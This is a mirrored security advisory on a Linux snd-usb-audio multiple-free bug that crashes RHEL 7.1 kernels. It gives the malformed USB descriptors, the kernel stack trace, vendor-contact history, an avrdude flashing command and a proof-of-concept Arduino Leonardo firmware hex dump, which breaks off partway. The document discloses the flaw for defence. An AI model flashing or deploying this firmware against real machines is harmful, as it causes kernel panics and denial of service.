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packetstormRalf SpennebergPACKETSTORM:136221
HistoryMar 12, 2016 - 12:00 a.m.

Linux snd-usb-audio Denial Of Service

2016-03-1200:00:00
Ralf Spenneberg
packetstormsecurity.com
66

0.004 Low

EPSS

Percentile

68.8%

`OS-S Security Advisory 2016-17  
Linux snd-usb-audio Multiple Free   
  
Date: March 4th, 2016  
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg  
CVE: not yet assigned  
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)  
Title: Local RedHat Enterprise Linux DoS โ€“ RHEL 7.1 Kernel crashes (multiple   
free) on invalid USB device descriptors (snd-usb-audio driver)  
Severity: Critical. The Kernel panics. A reboot is required.  
Ease of Exploitation: Trivial  
Vulnerability type: Wrong input validation  
Products: RHEL 7.1 including all updates  
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the   
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)  
Vendor: Red Hat  
Vendor contacted: November, 12th 2015  
PDF of advisory: https://os-s.net//advisories/OSS-2016-17_snd-usb-audio.pdf  
  
Abstract:  
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB   
device requiring the snd-usb-audio driver.  
  
Detailed product description:  
We confirmed the bug on the following system:  
RHEL 7.1  
Kernel 3.10.0-229.20.1.el7.x86_64  
Kernel 3.10.0-327.10.1.el7.x86_64  
Further products or kernel versions have not been tested.  
How reproducible: Always  
Actual results: Kernel crashes.   
  
Description:  
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo   
(github.com/schumilo) using the following device descriptor:  
  
[*] Device-Descriptor  
bLength: 0x12  
bDescriptorType: 0x1  
bcdUSB: 0x200  
bDeviceClass: 0x3  
bDeviceSubClass: 0x0  
bDeviceProtocol: 0x0  
bMaxPacketSize: 0x40  
idVendor: 0x582  
idProduct: 0x0  
bcdDevice: 0x100  
iManufacturer: 0x1  
iProduct: 0x2  
iSerialNumbers: 0x3  
bNumConfigurations: 0x1  
  
  
  
  
  
This is the configuration descriptor containing the malicious value for   
bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the   
system (multiple free).  
  
  
  
  
  
[*] Configuration-Descriptor  
bLength: 0x9  
bDescriptorType: 0x2  
wTotalLength: 0x27  
bNumInterfaces: 0x1  
bConfigurationValue: 0x1  
iConfiguration: 0x0  
bmAttributes: 0x0  
bMaxPower: 0x31  
[*] Interface-Descriptor  
bLength: 0x9  
bDescriptorType: 0x4  
bInterfaceNumber: 0x0  
bAlternateSetting: 0x0  
bNumEndpoints: 0x3  
bInterfaceClass: 0x0  
bInterfaceSubClass: 0x0  
bInterfaceProtocol: 0x0  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x81   
bmAttribut: 0x3   
wMaxPacketSize: 0x404  
bInterval: 0xc  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x1   
bmAttribut: 0x2   
wMaxPacketSize: 0x4  
bInterval: 0xc  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x82   
bmAttribut: 0x1  
wMaxPacketSize: 0x4  
bInterval: 0xc   
  
A Kernel Address Sanitizer (KASan) report is available at https://os-s.net/advisories/OSS-2016-17_KASan_Report.txt.  
  
Proof of Concept:  
For a proof of concept, we are providing an Arduino Leonardo firmware file. This   
firmware will emulate the defective USB device.  
  
  
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U   
flash:w:binary.hex  
  
  
The firmware has been attached to this bug report.  
To prevent the automated delivery of the payload, a jumper may be used to   
connect port D3 and 3V3!  
  
Severity and Ease of Exploitation:  
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware,   
only physical access to the system is required.  
  
Vendor Communication:  
We contacted Red Hat on the November, 12th 2015.  
To this day, no security patch was provided by the vendor.  
Since our 90-day Responsible Discourse deadline is expired, we publish this   
Security Advisory.   
  
References:  
https://bugzilla.redhat.com/show_bug.cgi?id=1283358  
  
  
  
Kernel Stacktrace:  
  
[ 32.951497] usb 1-1: new full-speed USB device number 2 using xhci_hcd  
[ 33.172627] usb 1-1: New USB device found, idVendor=0582, idProduct=0000  
[ 33.179073] usb 1-1: New USB device strings: Mfr=1, Product=2,   
SerialNumber=3  
[ 33.186972] usb 1-1: Product: ฤ‰  
[ 33.190732] usb 1-1: Manufacturer: ฤ‰  
[ 33.195718] usb 1-1: SerialNumber: %  
[ 33.206296] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc   
says 96 microframes  
[ 33.344127] BUG: unable to handle kernel NULL pointer dereference at   
(null)  
[ 33.345023] IP: [<ffffffffa041d063>] free_substream.part.0+0x53/0x70   
[snd_usb_audio]  
[ 33.345023] PGD 0   
[ 33.345023] Oops: 0000 [#1] SMP   
[ 33.345023] Modules linked in: snd_usb_audio(+) snd_usbmidi_lib snd_hwdep   
snd_rawmidi snd_seq snd_seq_device snd_pcm snd_timer snd soundcore   
ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute   
bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6   
nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw   
ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4   
nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw   
iptable_filter ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm   
drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs   
libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic   
pata_acpi ata_piix libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod  
[ 33.345023] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted   
3.10.0-229.14.1.el7.x86_64 #1  
[ 33.345023] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS   
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014  
[ 33.345023] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000  
[ 33.345023] RIP: 0010:[<ffffffffa041d063>] [<ffffffffa041d063>]   
free_substream.part.0+0x53/0x70 [snd_usb_audio]  
[ 33.345023] RSP: 0018:ffff88000bd239b8 EFLAGS: 00010217  
[ 33.345023] RAX: ffff88000c53c101 RBX: ffff88000c53c080 RCX: 00000000000067bd  
[ 33.345023] RDX: 00000000000067bc RSI: ffffea00002f5400 RDI: ffff88000e401900  
[ 33.345023] RBP: ffff88000bd239d8 R08: 0000000000016420 R09: ffff88000fc16420  
[ 33.345023] R10: ffffea0000314f00 R11: ffffffffa041d060 R12: 0000000000000000  
[ 33.345023] R13: ffff8800000588b8 R14: ffff880000058818 R15: 0000000000000000  
[ 33.345023] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000)   
knlGS:0000000000000000  
[ 33.345023] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b  
[ 33.345023] CR2: 0000000000000000 CR3: 000000000bd05000 CR4:   
00000000000006f0  
[ 33.345023] DR0: 0000000000000000 DR1: 0000000000000000 DR2:   
0000000000000000  
[ 33.345023] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400  
[ 33.345023] Stack:  
[ 33.345023] ffff880000058800 ffff880000058600 0000000000000000 ffff88000c388a68  
[ 33.345023] ffff88000bd239f0 ffffffffa041d319 ffffffffa03da0b8 ffff88000bd23a10  
[ 33.345023] ffffffffa03c88b8 ffff88000f5c2a80 ffff88000c388980 ffff88000bd23a20  
[ 33.345023] Call Trace:  
[ 33.345023] [<ffffffffa041d319>] snd_usb_audio_pcm_free+0x69/0x70   
[snd_usb_audio]  
[ 33.345023] [<ffffffffa03c88b8>] snd_pcm_free+0x58/0x90 [snd_pcm]  
[ 33.345023] [<ffffffffa03c8902>] snd_pcm_dev_free+0x12/0x20 [snd_pcm]  
[ 33.345023] [<ffffffffa03a2ec9>] __snd_device_free+0x29/0x80 [snd]  
[ 33.345023] [<ffffffffa03a319b>] snd_device_free_all+0x3b/0x50 [snd]  
[ 33.345023] [<ffffffffa039c8ae>] release_card_device+0x1e/0x80 [snd]  
[ 33.345023] [<ffffffff813cdde2>] device_release+0x32/0xa0  
[ 33.345023] [<ffffffff812d6efe>] kobject_release+0x7e/0x1b0  
[ 33.345023] [<ffffffff812d6db8>] kobject_put+0x28/0x60  
[ 33.345023] [<ffffffff813ce107>] put_device+0x17/0x20  
[ 33.345023] [<ffffffffa039cb09>] snd_card_free_when_closed+0x29/0x40 [snd]  
[ 33.345023] [<ffffffffa039cc64>] snd_card_free+0x54/0x90 [snd]  
[ 33.345023] [<ffffffffa041bf83>] ? create_composite_quirk+0x73/0xb0   
[snd_usb_audio]  
[ 33.345023] [<ffffffffa040e991>] usb_audio_probe+0x251/0x8d0 [snd_usb_audio]  
[ 33.345023] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0  
[ 33.345023] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390  
[ 33.345023] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0  
[ 33.345023] [<ffffffff813d3420>] ? __device_attach+0x40/0x40  
[ 33.345023] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0  
[ 33.345023] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20  
[ 33.345023] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0  
[ 33.345023] [<ffffffff813d3b34>] driver_register+0x64/0xf0  
[ 33.345023] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160  
[ 33.345023] [<ffffffffa0437000>] ? 0xffffffffa0436fff  
[ 33.345023] [<ffffffffa043701e>] usb_audio_driver_init+0x1e/0x1000   
[snd_usb_audio]  
[ 33.345023] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230  
[ 33.345023] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40  
[ 33.345023] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0  
[ 33.345023] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150  
[ 33.345023] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0  
[ 33.345023] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b  
[ 33.345023] Code: 0d eb 2e 0f 1f 44 00 00 4c 89 e3 49 89 c4 48 8b 7b 48 e8   
81 de d8 e0 48 8b 7b 58 e8 78 de d8 e0 48 89 df e8 70 de d8 e0 4d 39 ec <49>   
8b 04 24 75 d7 49 8b be b8 00 00 00 e8 5b de d8 e0 5b 41 5c   
[ 33.345023] RIP [<ffffffffa041d063>] free_substream.part.0+0x53/0x70   
[snd_usb_audio]  
[ 33.345023] RSP <ffff88000bd239b8>  
[ 33.345023] CR2: 0000000000000000  
[ 33.876830] ---[ end trace b239663354a1c556 ]---  
[ 33.882175] Kernel panic - not syncing: Fatal exception  
[ 33.883149] drm_kms_helper: panic occurred, switching back to text console  
  
  
Arduino Leonardo Firmware:  
  
:100000000C94A8000C94C5000C94C5000C94C50079  
:100010000C94C5000C94C5000C94C5000C94C5004C  
:100020000C94C5000C94C5000C94C4050C942F04CA  
:100030000C94C5000C94C5000C94C5000C94C5002C  
:100040000C94C5000C94C5000C94C5000C94C5001C  
:100050000C94C5000C94C5000C94C5000C940E02C1  
:100060000C94C5000C94C5000C94C5000C94C500FC  
:100070000C94C5000C94C5000C94C5000C94C500EC  
:100080000C94C5000C94C5000C94C5000C94C500DC  
:100090000C94C5000C94C5000C94C5000C94C500CC  
:1000A0000C94C5000C94C5000C94C5000B030E0302  
:1000B000010305032F032F032F03120316031A0353  
:1000C000200324032F032A030000000200080E006F  
:1000D00000030401000B000000000000000000000D  
:1000E00000000000000004080201104080401020C1  
:1000F00040804080080204018040201002011080EE  
:100100001020404004040404040304050202020217  
:1001100004030202020206060606060604040202A0  
:100120000204000000002300260029002C002F00FC  
:1001300000000000250028002B002E0031000000E8  
:100140000000240027002A002D00300000C180811B  
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077  
:10016000B1E0E4EDF3E102C005900D92A436B107D1  
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C  
:10018000E1F70E94C8000C9404070C940000089545  
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421  
:1001A000DEBF0FBECDBF0E94A1020E94C70060E06B  
:1001B00083E00E94300361E087E00E94300361E049  
:1001C00088E00E9430030E9459067E012AE9E20E6F  
:1001D000F11C84E093E0D70111969C938E9389E003  
:1001E00094E013969C938E93129782E2E2E1F1E001  
:1001F0009E012F5F3F4F6901D90101900D928A95B1  
:10020000E1F788E1E4E3F1E0DE01939601900D92DD  
:100210008A95E1F782E1ECE4F1E0DE01DB96019002  
:100220000D928A95E1F789E0EEE5F1E0DE01A05953  
:10023000BF4F01900D928A95E1F72A593F4F99E0FF  
:10024000992ED901E92D1D92EA95E9F78E010957FA  
:100250001F4F87E0E7E6F1E0D80101900D928A9503  
:10026000E1F7BE0160587F4F87E0EEE6F1E0DB0189  
:1002700001900D928A95E1F7AE0147585F4F87E0F4  
:10028000E5E7F1E0DA0101900D928A95E1F75E0170  
:10029000FEE8AF0EB11C86E0ECE7F1E0D50101907D  
:1002A0000D928A95E1F7CE01835B9F4FEEE0DC0172  
:1002B0001D92EA95E9F7E3E0DC011996EC93D90188  
:1002C0009C92F4E01196FC9311971496EC93F9012B  
:1002D000DC01292D01900D922A95E1F7FE01EC56E3  
:1002E000FF4FDC011B96FC93EE931A971D96BC9270  
:1002F000AE921C971183008373836283558344837A  
:100300000C5211092CE0F80111922A95E9F721E02D  
:10031000D80119962C931997FE01E059FF4F0190CF  
:100320000D929A94E1F7F8019387828761E088E063  
:100330000E9469038BE492E00E94650688E892E0DF  
:100340000E94650687EC92E00E94650686E093E0D5  
:100350000E94650682E493E00E9465068FE793E0C1  
:100360000E94650684EA93E00E9465068BEE93E0A6  
:100370000E94650683E00E949F03892B09F047C015  
:100380005E01F3E2AF0EB11C8824839482E1982EC3  
:1003900084E194E00E946506BF92AF92DF92CF9213  
:1003A000FF92EF921F928F921F930F932DB73EB73C  
:1003B000225131090FB6F8943EBF0FBE2DBFADB725  
:1003C000BEB71196FE01FB96892D01900D928A957C  
:1003D000E1F78DE695E00E94030668E873E180E0AE  
:1003E00090E00E947B028DE695E00E944E0660E060  
:1003F00087E00E94690368E873E180E090E00E9472  
:100400007B020FB6F894DEBF0FBECDBFC1CF6AE04E  
:1004100070E080E090E00E947B02ACCF1F920F92D0  
:100420000FB60F9211242F933F938F939F93AF9307  
:10043000BF938091650590916605A0916705B09185  
:1004400068053091640523E0230F2D3720F40196D1  
:10045000A11DB11D05C026E8230F0296A11DB11DE7  
:10046000209364058093650590936605A0936705C6  
:10047000B09368058091690590916A05A0916B051C  
:10048000B0916C050196A11DB11D809369059093F3  
:100490006A05A0936B05B0936C05BF91AF919F91D6  
:1004A0008F913F912F910F900FBE0F901F90189535  
:1004B0003FB7F8948091690590916A05A0916B050A  
:1004C000B0916C0526B5A89B05C02F3F19F0019689  
:1004D000A11DB11D3FBF6627782F892F9A2F620F6C  
:1004E000711D811D911D42E0660F771F881F991FA6  
:1004F0004A95D1F70895CF92DF92EF92FF92CF9372  
:10050000DF936B017C010E945802EB01C114D104FE  
:10051000E104F10479F00E9458026C1B7D0B683EE7  
:100520007340A0F381E0C81AD108E108F108C8516E  
:10053000DC4FECCFDF91CF91FF90EF90DF90CF9029  
:100540000895789484B5826084BD84B5816084BD4B  
:1005500085B5826085BD85B5816085BDEEE6F0E03C  
:10056000808181608083E1E8F0E010828081826098  
:100570008083808181608083E0E8F0E08081816019  
:100580008083E1E9F0E08081826080838081816006  
:100590008083E0E9F0E0808181608083E1ECF0E03D  
:1005A000808184608083808182608083808181609B  
:1005B0008083E3ECF0E0808181608083E0ECF0E018  
:1005C000808182608083E2ECF0E0808181608083C2  
:1005D000EAE7F0E0808184608083808182608083AC  
:1005E000808181608083808180688083089590E02D  
:1005F000FC013197EE30F10590F5EA5AFF4F0C946B  
:10060000AB09809180008F7703C0809180008F7D3F  
:1006100080938000089584B58F7702C084B58F7D64  
:1006200084BD0895809190008F7707C080919000DD  
:100630008F7D03C080919000877F80939000089504  
:100640008091C0008F7703C08091C0008F7D809320  
:10065000C00008958091C200877F8093C2000895F2  
:10066000CF93DF9390E0FC01EA51FF4F2491FC010E  
:10067000EC5FFE4F8491882349F190E0880F991F29  
:10068000FC01E25CFE4FA591B491805D9E4FFC01A0  
:10069000C591D4919FB7611108C0F8948C912095B1  
:1006A00082238C93888182230AC0623051F4F894AB  
:1006B0008C91322F309583238C938881822B888371  
:1006C00004C0F8948C91822B8C939FBFDF91CF91C3  
:1006D00008950F931F93CF93DF931F92CDB7DEB78B  
:1006E000282F30E0F901E853FF4F8491F901EA51D6  
:1006F000FF4F1491F901EC5FFE4F04910023C9F004  
:10070000882321F069830E94F7026981E02FF0E0DD  
:10071000EE0FFF1FE05DFE4FA591B4919FB7F894D7  
:100720008C91611103C01095812301C0812B8C93A2  
:100730009FBF0F90DF91CF911F910F910895CF939D  
:10074000DF93282F30E0F901E853FF4F8491F9013E  
:10075000EA51FF4FD491F901EC5FFE4FC491CC23D5  
:1007600091F081110E94F702EC2FF0E0EE0FFF1FD5  
:10077000EE5DFE4FA591B4912C912D2381E090E088  
:1007800021F480E002C080E090E0DF91CF910895F5  
:10079000615030F02091F100FC0120830196F8CFE8  
:1007A000289884E680937D0508951092E9001092C0  
:1007B00071051092700590936F0580936E050895F2  
:1007C000FF920F931F93CF93DF93F82E8B01EA01D3  
:1007D000BA01C8010E94A606F80120E030E08EEFC1  
:1007E0002C173D0791F1F7FE02C0A49101C0A08132  
:1007F000609170057091710540916E0550916F0583  
:1008000064177507ACF49091E8009570E1F390914E  
:10081000E80092FD1CC0A093F100A0917005B0917A  
:1008200071051196AF73BB27AB2B11F48093E800D1  
:10083000A0917005B09171051196B0937105A093C8  
:1008400070052F5F3F4F3196CBCFC90102C08FEFAC  
:100850009FEFDF91CF911F910F91FF9008951F920D  
:100860000F920FB60F9211246F927F928F929F92E8  
:10087000AF92BF92CF92DF92EF92FF920F931F93AE  
:100880002F933F934F935F936F937F938F939F9398  
:10089000AF93BF93EF93FF93CF93DF93CDB7DEB7C3  
:1008A0006297DEBFCDBF1092E9008091E80083FF20  
:1008B00046C168E0CE010A960E94C80382EF809389  
:1008C000E8009A8597FF05C08091E80080FFFCCF83  
:1008D00003C08EEF8093E800892F807609F023C152  
:1008E0008B85811105C01092F1001092F10020C19A  
:1008F000282F2D7F213009F41BC1853049F48091C8  
:10090000E80080FFFCCF8C8580688093E30010C1F5  
:10091000863009F0E1C02D8508891989223009F057  
:10092000B3C0EC848E2D90E0209173053091740556  
:10093000821793070CF09FC00E94D5031F92EF927D  
:100940008DE394E09F938F930E9483068CE0E89E52  
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`